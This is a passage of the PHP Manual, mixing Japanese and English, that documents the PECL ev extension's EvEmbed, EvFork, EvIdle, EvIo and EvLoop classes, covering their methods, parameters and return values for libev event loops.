  • Ev::embeddableBackends() - 他のイベントループに埋め込めるバックエンド群を返す

User Contributed Notes

There are no user contributed notes for this page.


停止した EvEmbed ウォッチャーのインスタンスを作る

  • ≪ EvEmbed::__construct
  • EvEmbed::set ≫
  • PHP Manual
  • EvEmbed
  • 停止した EvEmbed ウォッチャーのインスタンスを作る

EvEmbed::createStopped

(PECL ev >= 0.2.0)

EvEmbed::createStopped — 停止した EvEmbed ウォッチャーのインスタンスを作る

説明

final public static EvEmbed::createStopped ( object $other , callable $callback = ? , mixed $data = ? , int $priority = ? ) : void

EvEmbed::__construct() と同じですが、ウォッチャーを自動的には開始しません。

パラメータ

other

EvEmbed::__construct() と同じ。

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に、停止した EvEmbed オブジェクトを返します。

参考

  • EvEmbed::__construct() - EvEmbed オブジェクトを作る
  • Ev::embeddableBackends() - 他のイベントループに埋め込めるバックエンド群を返す

User Contributed Notes

There are no user contributed notes for this page.


ウォッチャーを設定する

  • ≪ EvEmbed::createStopped
  • EvEmbed::sweep ≫
  • PHP Manual
  • EvEmbed
  • ウォッチャーを設定する

EvEmbed::set

(PECL ev >= 0.2.0)

EvEmbed::set — ウォッチャーを設定する

説明

public EvEmbed::set ( object $other ) : void

ウォッチャーを設定して、 他の イベントループオブジェクトで使えるようにします。

パラメータ

other

EvEmbed::__construct() と同じ。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


埋め込んだループに対して単一の非ブロックスイープを行う

  • ≪ EvEmbed::set
  • EvFork ≫
  • PHP Manual
  • EvEmbed
  • 埋め込んだループに対して単一の非ブロックスイープを行う

EvEmbed::sweep

(PECL ev >= 0.2.0)

EvEmbed::sweep — 埋め込んだループに対して単一の非ブロックスイープを行う

説明

public EvEmbed::sweep ( ) : void

埋め込んだループに対して単一の非ブロックスイープを行います。 次のコードとほぼ同じ動きですが、埋め込んだループ用に最適な方法をとります。

<?php
$other->start(Ev::RUN_NOWAIT);
?>

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


EvFork クラス

(PECL ev >= 0.2.0)

はじめに

Fork ウォッチャーが呼ばれるのは、fork() を検出したときです (通常は、誰かが EvLoop::fork() を呼んで libev に通知します)。 起動するのは、イベントループが次の処理をブロックする前、 そして EvCheck ウォッチャーが呼ばれる前になります。 また、フォークした後の子プロセス内でだけ起動します。 誰かが間違ったプロセスで EvLoop::fork() を呼んだとしても、fork ハンドラが起動してしまうことに注意しましょう。

クラス概要

EvFork extends EvWatcher {
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( string $callback , string $data = ? , string $priority = ? ) : object
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

目次

  • EvFork::__construct — EvFork ウォッチャーオブジェクトを作る
  • EvFork::createStopped — 停止した EvFork ウォッチャーのインスタンスを作る

User Contributed Notes

There are no user contributed notes for this page.


EvFork ウォッチャーオブジェクトを作る

  • ≪ EvFork
  • EvFork::createStopped ≫
  • PHP Manual
  • EvFork
  • EvFork ウォッチャーオブジェクトを作る

EvFork::__construct

(PECL ev >= 0.2.0)

EvFork::__construct — EvFork ウォッチャーオブジェクトを作る

説明

public EvFork::__construct ( callable $callback , mixed $data = null , int $priority = 0 )

EvFork ウォッチャーオブジェクトを作り、自動的に開始させます。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvFork オブジェクトを返します。

参考

  • EvLoop::fork() - Creates EvFork watcher object associated with the current event loop instance
  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


停止した EvFork ウォッチャーのインスタンスを作る

  • ≪ EvFork::__construct
  • EvIdle ≫
  • PHP Manual
  • EvFork
  • 停止した EvFork ウォッチャーのインスタンスを作る

EvFork::createStopped

(PECL ev >= 0.2.0)

EvFork::createStopped — 停止した EvFork ウォッチャーのインスタンスを作る

説明

final public static EvFork::createStopped ( string $callback , string $data = ? , string $priority = ? ) : object

EvFork::__construct() と同じですが、ウォッチャーを自動的には開始しません。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に、停止した EvFork オブジェクトを返します。

参考

  • EvFork::__construct() - EvFork ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


The EvIdle class

(PECL ev >= 0.2.0)

はじめに

EvIdle watchers trigger events when no other events of the same or higher priority are pending ( EvPrepare , EvCheck and other EvIdle watchers do not count as receiving events ).

Thus, as long as the process is busy handling sockets or timeouts(or even signals) of the same or higher priority it will not be triggered. But when the process is in idle(or only lower-priority watchers are pending), the EvIdle watchers are being called once per event loop iteration - until stopped, that is, or the process receives more events and becomes busy again with higher priority stuff.

Apart from keeping the process non-blocking(which is a useful on its own sometimes), EvIdle watchers are a good place to do "pseudo-background processing" , or delay processing stuff to after the event loop has handled all outstanding events.

The most noticeable effect is that as long as any idle watchers are active, the process will not block when waiting for new events.

クラス概要

EvIdle extends EvWatcher {
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( callable $callback , mixed $data = ? , int $priority = ? )
final public static createStopped ( string $callback , mixed $data = ? , int $priority = ? ) : object
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

目次

  • EvIdle::__construct — Constructs the EvIdle watcher object
  • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvIdle watcher object

  • ≪ EvIdle
  • EvIdle::createStopped ≫
  • PHP Manual
  • EvIdle
  • Constructs the EvIdle watcher object

EvIdle::__construct

(PECL ev >= 0.2.0)

EvIdle::__construct — Constructs the EvIdle watcher object

説明

public EvIdle::__construct ( callable $callback , mixed $data = ? , int $priority = ? )

Constructs the EvIdle watcher object and starts the watcher automatically.

パラメータ

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvIdle object on success.

参考

  • EvIdle::createStopped() - Creates instance of a stopped EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Creates instance of a stopped EvIdle watcher object

  • ≪ EvIdle::__construct
  • EvIo ≫
  • PHP Manual
  • EvIdle
  • Creates instance of a stopped EvIdle watcher object

EvIdle::createStopped

(PECL ev >= 0.2.0)

EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

説明

final public static EvIdle::createStopped ( string $callback , mixed $data = ? , int $priority = ? ) : object

The same as EvIdle::__construct() , but doesn't start the watcher automatically.

パラメータ

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvIdle object on success.

参考

  • EvIdle::__construct() - Constructs the EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


The EvIo class

(PECL ev >= 0.2.0)

はじめに

EvIo watchers check whether a file descriptor(or socket, or a stream castable to numeric file descriptor) is readable or writable in each iteration of the event loop, or, more precisely, when reading would not block the process and writing would at least be able to write some data. This behaviour is called level-triggering because events are kept receiving as long as the condition persists. To stop receiving events just stop the watcher.

The number of read and/or write event watchers per fd is unlimited. Setting all file descriptors to non-blocking mode is also usually a good idea(but not required).

Another thing to watch out for is that it is quite easy to receive false readiness notifications, i.e. the callback might be called with Ev::READ but a subsequent read() will actually block because there is no data. It is very easy to get into this situation. Thus it is best to always use non-blocking I/O: An extra read() returning EAGAIN (or similar) is far preferable to a program hanging until some data arrives.

If for some reason it is impossible to run the fd in non-blocking mode, then separately re-test whether a file descriptor is really ready. Some people additionally use SIGALRM and an interval timer, just to be sure thry won't block infinitely.

Always consider using non-blocking mode.

クラス概要

EvIo extends EvWatcher {
/* プロパティ */
public $fd ;
public $events ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( mixed $fd , int $events , callable $callback , mixed $data = ? , int $priority = ? )
final public static createStopped ( mixed $fd , int $events , callable $callback , mixed $data = null , int $priority = 0 ) : EvIo
public set ( mixed $fd , int $events ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

fd

events

目次

  • EvIo::__construct — Constructs EvIo watcher object
  • EvIo::createStopped — Create stopped EvIo watcher object
  • EvIo::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvIo watcher object

  • ≪ EvIo
  • EvIo::createStopped ≫
  • PHP Manual
  • EvIo
  • Constructs EvIo watcher object

EvIo::__construct

(PECL ev >= 0.2.0)

EvIo::__construct — Constructs EvIo watcher object

説明

public EvIo::__construct ( mixed $fd , int $events , callable $callback , mixed $data = ? , int $priority = ? )

Constructs EvIo watcher object and starts the watcher automatically.

パラメータ

fd

Can be a stream opened with fopen() or similar functions, numeric file descriptor, or socket.

events

Ev::READ and/or Ev::WRITE . See the bit masks .

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvIo object on success.

参考

  • EvIo::createStopped() - Create stopped EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvIo watcher object

  • ≪ EvIo::__construct
  • EvIo::set ≫
  • PHP Manual
  • EvIo
  • Create stopped EvIo watcher object

EvIo::createStopped

(PECL ev >= 0.2.0)

EvIo::createStopped — Create stopped EvIo watcher object

説明

final public static EvIo::createStopped ( mixed $fd , int $events , callable $callback , mixed $data = null , int $priority = 0 ) : EvIo

The same as EvIo::__construct() , but doesn't start the watcher automatically.

パラメータ

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvIo object on success.

参考

  • EvIo::__construct() - Constructs EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ≪ EvIo::createStopped
  • EvLoop ≫
  • PHP Manual
  • EvIo
  • Configures the watcher

EvIo::set

(PECL ev >= 0.2.0)

EvIo::set — Configures the watcher

説明

public EvIo::set ( mixed $fd , int $events ) : void

Configures the EvIo watcher

パラメータ

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The EvLoop class

(PECL ev >= 0.2.0)

はじめに

Represents an event loop that is always distinct from the default loop . Unlike the default loop , it cannot handle EvChild watchers.

Having threads we have to create a loop per thread, and use the default loop in the parent thread.

The default event loop is initialized automatically by Ev . It is accessible via methods of the Ev class, or via EvLoop::defaultLoop() method.

クラス概要

final EvLoop {
/* プロパティ */
public $data ;
public $backend ;
public $is_default_loop ;
public $iteration ;
public $pending ;
public $io_interval ;
public $timeout_interval ;
public $depth ;
/* メソッド */
public backend ( ) : int
final public check ( string $callback , string $data = ? , string $priority = ? ) : EvCheck
final public child ( string $pid , string $trace , string $callback , string $data = ? , string $priority = ? ) : EvChild
public __construct ( int $flags = ? , mixed $data = NULL , float $io_interval = 0.0 , float $timeout_interval = 0.0 )
public static defaultLoop ( int $flags = Ev::FLAG_AUTO , mixed $data = NULL , float $io_interval = 0. , float $timeout_interval = 0. ) : EvLoop
final public embed ( string $other , string $callback = ? , string $data = ? , string $priority = ? ) : EvEmbed
final public fork ( callable $callback , mixed $data = null , int $priority = 0 ) : EvFork
final public idle ( callable $callback , mixed $data = null , int $priority = 0 ) : EvIdle
public invokePending ( ) : void
final public io ( mixed $fd , int $events , callable $callback , mixed $data = null , int $priority = 0 ) : EvIo
public loopFork ( ) : void
public now ( ) : float
public nowUpdate ( ) : void
final public periodic ( float $offset , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : EvPeriodic
final public prepare ( callable $callback , mixed $data = null , int $priority = 0 ) : EvPrepare
public resume ( ) : void
public run ( int $flags = 0 ) : void
final public signal ( int $signum , callable $callback , mixed $data = null , int $priority = 0 ) : EvSignal
final public stat ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : EvStat
public stop ( int $how = ? ) : void
public suspend ( ) : void
final public timer ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 ) : EvTimer
public verify ( ) : void
}

プロパティ

data

Custom data attached to loop

backend

Readonly . The backend flags indicating the event backend in use.

is_default_loop

Readonly . true if it is the default event loop.

iteration

The current iteration count of the loop. See Ev::iteration()

pending

The number of pending watchers. 0 indicates that there are no watchers pending.

io_interval

Higher io_interval allows libev to spend more time collecting EvIo events, so more events can be handled per iteration, at the cost of increasing latency. Timeouts (both EvPeriodic and EvTimer ) will not be affected. Setting this to a non-zero value will introduce an additional sleep() call into most loop iterations. The sleep time ensures that libev will not poll for EvIo events more often than once per this interval, on average. Many programs can usually benefit by setting the io_interval to a value near 0.1 , which is often enough for interactive servers(not for games). It usually doesn't make much sense to set it to a lower value than 0.01 , as this approaches the timing granularity of most systems.

See also » FUNCTIONS CONTROLLING EVENT LOOPS .

timeout_interval

Higher timeout_interval allows libev to spend more time collecting timeouts, at the expense of increased latency/jitter/inexactness(the watcher callback will be called later). EvIo watchers will not be affected. Setting this to a non-null value will not introduce any overhead in libev . See also » FUNCTIONS CONTROLLING EVENT LOOPS .

depth

The recursion depth. See Ev::depth() .

目次

  • EvLoop::backend — Returns an integer describing the backend used by libev
  • EvLoop::check — Creates EvCheck object associated with the current event loop instance
  • EvLoop::child — Creates EvChild object associated with the current event loop
  • EvLoop::__construct — Constructs the event loop object
  • EvLoop::defaultLoop — Returns or creates the default event loop
  • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object
  • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
  • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
  • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
  • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
  • EvLoop::loopFork — Must be called after a fork
  • EvLoop::now — Returns the current "event loop time"
  • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress
  • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
  • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
  • EvLoop::resume — Resume previously suspended default event loop
  • EvLoop::run — Begin checking for events and calling callbacks for the loop
  • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
  • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
  • EvLoop::stop — Stops the event loop
  • EvLoop::suspend — Suspend the loop
  • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
  • EvLoop::verify — Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer describing the backend used by libev

  • ≪ EvLoop
  • EvLoop::check ≫
  • PHP Manual
  • EvLoop
  • Returns an integer describing the backend used by libev

EvLoop::backend

(PECL ev >= 0.2.0)

EvLoop::backend — Returns an integer describing the backend used by libev

説明

public EvLoop::backend ( ) : int

The same as Ev::backend() , but for the loop instance.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer describing the backend used by libev. See Ev::backend() .

参考

  • Ev::backend() - libev が使うバックエンドを表す整数値を返す

User Contributed Notes

There are no user contributed notes for this page.


Creates EvCheck object associated with the current event loop instance

  • ≪ EvLoop::backend
  • EvLoop::child ≫
  • PHP Manual
  • EvLoop
  • Creates EvCheck object associated with the current event loop instance

EvLoop::check

(PECL ev >= 0.2.0)

EvLoop::check — Creates EvCheck object associated with the current event loop instance

説明

final public EvLoop::check ( string $callback , string $data = ? , string $priority = ? ) : EvCheck

Creates EvCheck object associated with the current event loop instance.

パラメータ

All parameters have the same meaning as for EvCheck::__construct()

返り値

Returns EvCheck object on success.

参考

  • EvCheck::__construct() - EvCheck ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


Creates EvChild object associated with the current event loop

  • ≪ EvLoop::check
  • EvLoop::__construct ≫
  • PHP Manual
  • EvLoop
  • Creates EvChild object associated with the current event loop

EvLoop::child

(PECL ev >= 0.2.0)

EvLoop::child — Creates EvChild object associated with the current event loop

説明

final public EvLoop::child ( string $pid , string $trace , string $callback , string $data = ? , string $priority = ? ) : EvChild

Creates EvChild object associated with the current event loop.

パラメータ

All parameters have the same meaning as for EvChild::__construct()

返り値

Returns EvChild object on success.

参考

  • EvChild::__construct() - EvChild ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


Constructs the event loop object

  • ≪ EvLoop::child
  • EvLoop::defaultLoop ≫
  • PHP Manual
  • EvLoop
  • Constructs the event loop object

EvLoop::__construct

(PECL ev >= 0.2.0)

EvLoop::__construct — Constructs the event loop object

説明

public EvLoop::__construct ( int $flags = ? , mixed $data = NULL , float $io_interval = 0.0 , float $timeout_interval = 0.0 )

Constructs the event loop object.

パラメータ

flags

One of the event loop flags

data

Custom data associated with the loop.

io_interval

See io_interval

timeout_interval

See timeout_interval

返り値

Returns new EvLoop object.

参考

  • EvLoop::defaultLoop() - Returns or creates the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Returns or creates the default event loop

  • ≪ EvLoop::__construct
  • EvLoop::embed ≫
  • PHP Manual
  • EvLoop
  • Returns or creates the default event loop

EvLoop::defaultLoop

(PECL ev >= 0.2.0)

EvLoop::defaultLoop — Returns or creates the default event loop

説明

public static EvLoop::defaultLoop ( int $flags = Ev::FLAG_AUTO , mixed $data = NULL , float $io_interval = 0. , float $timeout_interval = 0. ) : EvLoop

If the default event loop is not created, EvLoop::defaultLoop() creates it with the specified parameters. Otherwise, it just returns the object representing previously created instance ignoring all the parameters.

パラメータ

flags

One of the event loop flags

data

Custom data to associate with the loop.

io_collect_interval

See io_interval

timeout_collect_interval

See timeout_interval

返り値

Returns EvLoop object on success.

参考

  • EvLoop::__construct() - Constructs the event loop object

User Contributed Notes

There are no user contributed notes for this page.


Creates an instance of EvEmbed watcher associated with the current EvLoop object

  • ≪ EvLoop::defaultLoop
  • EvLoop::fork ≫
  • PHP Manual
  • EvLoop
  • Creates an instance of EvEmbed watcher associated with the current EvLoop object

EvLoop::embed

(PECL ev >= 0.2.0)

EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object

説明

final public EvLoop::embed ( string $other , string $callback = ? , string $data = ? , string $priority = ? ) : EvEmbed

Creates an instance of EvEmbed watcher associated with the current EvLoop object.

パラメータ

All parameters have the same meaning as for EvEmbed::__construct() .

返り値

Returns EvEmbed object on success.

参考

  • EvEmbed::__construct() - EvEmbed オブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


Creates EvFork watcher object associated with the current event loop instance

  • ≪ EvLoop::embed
  • EvLoop::idle ≫
  • PHP Manual
  • EvLoop
  • Creates EvFork watcher object associated with the current event loop instance

EvLoop::fork

(PECL ev >= 0.2.0)

EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance

説明

final public EvLoop::fork ( callable $callback , mixed $data = null , int $priority = 0 ) : EvFork

Creates EvFork watcher object associated with the current event loop instance

パラメータ

All parameters have the same meaning as for EvFork::__construct()

返り値

Returns EvFork object on success.

参考

  • EvFork::__construct() - EvFork ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


Creates EvIdle watcher object associated with the current event loop instance

  • ≪ EvLoop::fork
  • EvLoop::invokePending ≫
  • PHP Manual
  • EvLoop
  • Creates EvIdle watcher object associated with the current event loop instance

EvLoop::idle

(PECL ev >= 0.2.0)

EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance

説明

final public EvLoop::idle ( callable $callback , mixed $data = null , int $priority = 0 ) : EvIdle

Creates EvIdle watcher object associated with the current event loop instance

パラメータ

All the parameters have the same meaning as for EvIdle::__construct()

返り値

Returns EvIdle object on success.

参考

  • EvIdle::__construct() - Constructs the EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Invoke all pending watchers while resetting their pending state

  • ≪ EvLoop::idle
  • EvLoop::io ≫
  • PHP Manual
  • EvLoop
  • Invoke all pending watchers while resetting their pending state

EvLoop::invokePending

(PECL ev >= 0.2.0)

EvLoop::invokePending — Invoke all pending watchers while resetting their pending state

説明

public EvLoop::invokePending ( ) : void

Invoke all pending watchers while resetting their pending state.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Create EvIo watcher object associated with the current event loop instance

  • ≪ EvLoop::invokePending
  • EvLoop::loopFork ≫
  • PHP Manual
  • EvLoop
  • Create EvIo watcher object associated with the current event loop instance

EvLoop::io

(PECL ev >= 0.2.0)

EvLoop::io — Create EvIo watcher object associated with the current event loop instance

説明

final public EvLoop::io ( mixed $fd , int $events , callable $callback , mixed $data = null , int $priority = 0 ) : EvIo

Create EvIo watcher object associated with the current event loop instance.

パラメータ

All parameters have the same meaning as for EvIo::__construct()

返り値

Returns EvIo object on success.

参考

  • EvIo::__construct() - Constructs EvIo watcher object

User Contributed Notes

There are no user contributed notes for this page.


Must be called after a fork

  • ≪ EvLoop::io
  • EvLoop::now ≫
  • PHP Manual
  • EvLoop
  • Must be called after a fork

EvLoop::loopFork

(PECL ev >= 0.2.0)

EvLoop::loopFork — Must be called after a fork

説明

public EvLoop::loopFork ( ) : void

Must be called after a fork in the child, before entering or continuing the event loop. An alternative is to use Ev::FLAG_FORKCHECK which calls this function automatically, at some performance loss (refer to the » libev documentation ).

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns the current "event loop time"

  • ≪ EvLoop::loopFork
  • EvLoop::nowUpdate ≫
  • PHP Manual
  • EvLoop
  • Returns the current "event loop time"

EvLoop::now

(PECL ev >= 0.2.0)

EvLoop::now — Returns the current "event loop time"

説明

public EvLoop::now ( ) : float

Returns the current "event loop time", which is the time the event loop received events and started processing them. This timestamp does not change as long as callbacks are being processed, and this is also the base time used for relative timers. You can treat it as the timestamp of the event occurring(or more correctly, libev finding out about it).

パラメータ

この関数にはパラメータはありません。

返り値

Returns time of the event loop in (fractional) seconds.

参考

  • Ev::now() - デフォルトのイベントループで直近の処理が始まった時刻を返す

User Contributed Notes

There are no user contributed notes for this page.


Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

  • ≪ EvLoop::now
  • EvLoop::periodic ≫
  • PHP Manual
  • EvLoop
  • Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

EvLoop::nowUpdate

(PECL ev >= 0.2.0)

EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

説明

public EvLoop::nowUpdate ( ) : void

Establishes the current time by querying the kernel, updating the time returned by EvLoop::now() in the progress. This is a costly operation and is usually done automatically within EvLoop::run() .

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvLoop::now() - Returns the current "event loop time"
  • Ev::nowUpdate() - カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPeriodic watcher object associated with the current event loop instance

  • ≪ EvLoop::nowUpdate
  • EvLoop::prepare ≫
  • PHP Manual
  • EvLoop
  • Creates EvPeriodic watcher object associated with the current event loop instance

EvLoop::periodic

(PECL ev >= 0.2.0)

EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance

説明

final public EvLoop::periodic ( float $offset , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : EvPeriodic

Creates EvPeriodic watcher object associated with the current event loop instance

パラメータ

All parameters have the same maening as for EvPeriodic::__construct()

返り値

Returns EvPeriodic object on success.

参考

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPrepare watcher object associated with the current event loop instance

  • ≪ EvLoop::periodic
  • EvLoop::resume ≫
  • PHP Manual
  • EvLoop
  • Creates EvPrepare watcher object associated with the current event loop instance

EvLoop::prepare

(PECL ev >= 0.2.0)

EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance

説明

final public EvLoop::prepare ( callable $callback , mixed $data = null , int $priority = 0 ) : EvPrepare

Creates EvPrepare watcher object associated with the current event loop instance

パラメータ

All parameters have the same maening as for EvPrepare()

返り値

Returns EvPrepare object on success

参考

  • EvPrepare::__construct() - EvPrepare ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


Resume previously suspended default event loop

  • ≪ EvLoop::prepare
  • EvLoop::run ≫
  • PHP Manual
  • EvLoop
  • Resume previously suspended default event loop

EvLoop::resume

(PECL ev >= 0.2.0)

EvLoop::resume — Resume previously suspended default event loop

説明

public EvLoop::resume ( ) : void

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvLoop::suspend() - Suspend the loop
  • Ev::resume() - 一時停止していたデフォルトのイベントループを再開させる

User Contributed Notes

There are no user contributed notes for this page.


Begin checking for events and calling callbacks for the loop

  • ≪ EvLoop::resume
  • EvLoop::signal ≫
  • PHP Manual
  • EvLoop
  • Begin checking for events and calling callbacks for the loop

EvLoop::run

(PECL ev >= 0.2.0)

EvLoop::run — Begin checking for events and calling callbacks for the loop

説明

public EvLoop::run ( int $flags = 0 ) : void

Begin checking for events and calling callbacks for the current event loop. Returns when a callback calls Ev::stop() method, or the flags are nonzero(in which case the return value is true) or when there are no active watchers which reference the loop( EvWatcher::keepalive() is true), in which case the return value will be false. The return value can generally be interpreted as if true, there is more work left to do .

パラメータ

flags

Optional parameter flags can be one of the following:

List for possible values of flags
flags | Description
0 | The default behavior described above
Ev::RUN_ONCE | Block at most one(wait, but don't loop)
Ev::RUN_NOWAIT | Don't block at all(fetch/handle events, but don't wait)

See the run flag constants .

返り値

値を返しません。

参考

  • EvLoop::stop() - Stops the event loop
  • Ev::run() - イベントのチェックとデフォルトループのコールバックの呼び出しを開始する

User Contributed Notes

There are no user contributed notes for this page.


Creates EvSignal watcher object associated with the current event loop instance

  • ≪ EvLoop::run
  • EvLoop::stat ≫
  • PHP Manual
  • EvLoop
  • Creates EvSignal watcher object associated with the current event loop instance

EvLoop::signal

(PECL ev >= 0.2.0)

EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance

説明

final public EvLoop::signal ( int $signum , callable $callback , mixed $data = null , int $priority = 0 ) : EvSignal

Creates EvSignal watcher object associated with the current event loop instance

パラメータ

All parameters have the same meaning as for EvSignal::__construct()

返り値

Returns EvSignal object on success

参考

  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvStat watcher object associated with the current event loop instance

  • ≪ EvLoop::signal
  • EvLoop::stop ≫
  • PHP Manual
  • EvLoop
  • Creates EvStat watcher object associated with the current event loop instance

EvLoop::stat

(PECL ev >= 0.2.0)

EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance

説明

final public EvLoop::stat ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : EvStat

Creates EvStat watcher object associated with the current event loop instance

パラメータ

All parameters have the same meaning as for EvSignal::__construct()

返り値

Returns EvStat object on success

参考

  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Stops the event loop

  • ≪ EvLoop::stat
  • EvLoop::suspend ≫
  • PHP Manual
  • EvLoop
  • Stops the event loop

EvLoop::stop

(PECL ev >= 0.2.0)

EvLoop::stop — Stops the event loop

説明

public EvLoop::stop ( int $how = ? ) : void

Stops the event loop

パラメータ

how

One of Ev::BREAK_* constants .

返り値

値を返しません。

参考

  • EvLoop::run() - Begin checking for events and calling callbacks for the loop
  • Ev::stop() - デフォルトのイベントループを止める

User Contributed Notes

There are no user contributed notes for this page.


Suspend the loop

  • ≪ EvLoop::stop
  • EvLoop::timer ≫
  • PHP Manual
  • EvLoop
  • Suspend the loop

EvLoop::suspend

(PECL ev >= 0.2.0)

EvLoop::suspend — Suspend the loop

説明

public EvLoop::suspend ( ) : void

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvLoop::resume() - Resume previously suspended default event loop
  • Ev::suspend() - デフォルトのイベントループを一時停止する

User Contributed Notes

There are no user contributed notes for this page.


Creates EvTimer watcher object associated with the current event loop instance

  • ≪ EvLoop::suspend
  • EvLoop::verify ≫
